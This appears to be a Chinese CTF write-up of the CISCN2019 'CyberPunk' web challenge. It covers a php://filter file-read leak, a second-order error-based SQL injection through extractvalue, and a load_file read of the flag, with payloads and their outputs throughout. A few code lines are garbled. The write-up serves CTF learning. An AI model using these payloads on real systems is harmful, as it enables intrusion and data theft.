[CISCN2019 华北赛区 Day1 Web5]CyberPunk
文章目录
- TRY
- WP
- Conclusion
TRY
注册订单——姓名:a 电话:a’ 地址:a ——成功
查询订单——姓名:a 电话:a’ ——未找到订单
说明引号改变了查询语句。
查询时没有特别回显,注册时没有禁用union。
猜测是二次注入+联合注入。
写脚本跑的时候突然发现源码里面有提示<!–?file=?–>
好像能是文件读取。
直接file=php://filter/convert.base64-encode/resource=index.php得到
index.php:
<?phpini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {echo('no way!');exit;}@include($file);
}
?>
直接读取 /flag 没有。
search.php:
<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
禁用了select。另外这里的错误处理仅在 $row 获取失败时才处理错误,而没有对 SQL 查询本身的失败进行处理,所以也是不能进行报错注入的。
change.php:
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
$address = addslashes($_POST[“address”]);
它会对字符串 $str 中以下字符前添加反斜杠:
单引号(')
双引号(")
反斜杠(\)
NULL 字符(ASCII 0)
$result = db−>query(db->query(db−>query(sql);
if(!$result) {
echo ‘error’;
print_r($db->error);
exit;
}
这里的错误处理就是直接对查询语句的,而且没有禁用关键字。能利用报错注入。
但是引号被转义了,我们的输入又被拼接到单引号中,无法执行。
尝试利用分号破坏sql语句逃出引号。
a;(select extractvalue(1,concat(0x7e,(select database())))) —— errorXPATH syntax error: ‘~ctfusers’
好像还真可以。
a;(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) —— errorXPATH syntax error: ‘~ctfusers’
a;(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“ctfusers”)))) —— errorXPATH syntax error: ‘~ctfusers’
结果不可能一样。换一个订单试试
发现又没有报错了…
插入不同注入语句却是相同结果,而且直接插入注入语句发现又没有报错。
怀疑报错的位置是old_address
“update user
set address
='”.address."′,‘oldaddress‘=′".address."', `old_address`='".address."′,‘oldaddress‘=′".row[‘address’].“’ where user_id
=”.$row[‘user_id’];
对address中的引号进行转义,可是old_address是直接从数据库中拿出来的,没有转义,尝试一下二次注入(第一次修改地址的时候插入注入语句,第二次修改地址的时候运行注入语句):
a’or(select extractvalue(1,concat(0x7e,(select database()))))
果然出现报错errorYou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’ where user_id
=3’ at line 1
重新构造:
a’or(select extractvalue(1,concat(0x7e,(select database()))))#
出现报错errorXPATH syntax error: ‘~ctfusers’
成功了
a’or(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_name=“user”))))#
errorXPATH syntax error: ‘~user’
a’or(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“user”))))#
errorXPATH syntax error: ‘~Host,User,Password,Select_priv,’
a’or(select extractvalue(1,concat(0x7e,(select substr((group_concat(column_name)),25) from information_schema.columns where table_name=“user”))))#
errorXPATH syntax error: ‘~t_priv,Insert_priv,Update_priv,’
后面还有好多字段根本看不完。反而没有看见有user_name,user_id,address什么的
a’or(select extractvalue(1,concat(0x7e,(select group_concat(Host)from user))))#
errorTruncated incorrect DOUBLE value: ‘a’
关于数据类型的报错,有点奇怪。重来一次,结果还是一样。把a换成数字试试
1’or(select extractvalue(1,concat(0x7e,(select group_concat(Host)from user))))#
errorUnknown column ‘Host’ in ‘field list’
奇怪,爆出来这个表中是有Host字段的。尝试一下其他字段,同样报错。
我天原来是我爆列名的时候
a’or(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#
没有限定where table_schema=database(),然后正好凑巧该靶机中其他数据库也有user表
a’or(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=“user”))))#
errorXPATH syntax error: ‘~user_id,address,old_address,use’
这才是想要的字段。
a’or(select extractvalue(1,concat(0x7e,(select substr((group_concat(column_name)),25) from information_schema.columns where table_schema=database() and table_name=“user”))))#
errorXPATH syntax error: ‘~ess,user_name,phone’
a’or (select extractvalue(1,concat(0x7e,(select group_concat(user_id)from user))))#
errorTruncated incorrect DOUBLE value: ‘a’
原因在于sql语句是update user
set address
=‘a’, old_address='a’or (select extractvalue(1,concat(0x7e,(select group_concat(user_id)from user))))#
其中的等于号是赋值符号,整个 SET 子句的语义变成了:“将 address 字段设置为 ‘a’ or (select …) 这个表达式的结果值”。在进行 OR 逻辑运算时,MySQL会将操作数尝试转换为布尔值(在MySQL中,本质上是转换为数字)。它试图将字符串 ‘a’ 转换为数字,于是触发了 Truncated incorrect DOUBLE value: ‘a’ 错误。
找了所有的字段都没有flag。
WP
flag在根目录中的flag.txt中,那mysql如何读文件呢?
利用**load_file()**函数:
1’or(select extractvalue(1,concat(0x7e,(select load_file(“/flag.txt”)))))#
errorXPATH syntax error: ‘~flag{0a2fdb81-c99e-4966-8a16-ae’
1’or(select extractvalue(1,concat(0x7e,(select substr(load_file(“/flag.txt”),25)))))#
errorXPATH syntax error: '~8a16-ae98a1a6c065} ’
Conclusion
看到这道题首先想的就是sql注入,浪费了不少时间,最后发现源码中有线索。因此下次见到此类题要先仔细找找线索。然后是代码审计,一开始并没有从拼接的sql语句中发现未经转义的old_address存在二次注入漏洞。